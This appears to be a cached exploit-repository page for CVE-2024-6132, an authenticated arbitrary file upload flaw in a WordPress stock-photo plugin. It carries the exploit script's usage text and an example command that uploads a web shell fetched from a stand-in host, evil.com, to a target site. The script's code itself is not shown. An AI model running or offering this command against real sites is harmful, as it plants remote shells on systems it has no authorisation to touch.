CVE-2024-6132 PoC — WordPress plugin Pexels: Free Stock Photos 安全漏洞

Source

https://github.com/Nxploited/CVE-2024-6132

Associated Vulnerability

Title:WordPress plugin Pexels: Free Stock Photos 安全漏洞 (CVE-2024-6132)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Pexels: Free Stock Photos 1.2.2 版本及之前版本存在安全漏洞，该漏洞源于 pexels_fsp_images_options_validate 函数中缺少文件类型验证，导致任意文件上传。

Description

Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload

Readme

# CVE-2024-6132
Pexels: Free Stock Photos &lt;= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload



## Usage 

```
usage: CVE-2024-6132.py [-h] -u URL -un USERNAME -p PASSWORD -shell_url SHELL_URL

Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload | BY NXPLOIT - KHALED ALENAZI,

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     WordPress site URL
  -un USERNAME, --username USERNAME
                        WordPress username
  -p PASSWORD, --password PASSWORD
                        WordPress password
  -shell_url SHELL_URL, --shell_url SHELL_URL
                        URL of the malicious PHP file
```
## Example:

```
python3 CVE-2024-6132.py -u https://targetsite.com -un contributor -p password123 -shell_url http://evil.com/shell.php

File Snapshot


 [4.0K]  /data/pocs/324286e8ee540805f9b40b502f55e2f237b63c2a
├── [3.4K]  CVE-2024-6132.py
└── [ 833]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!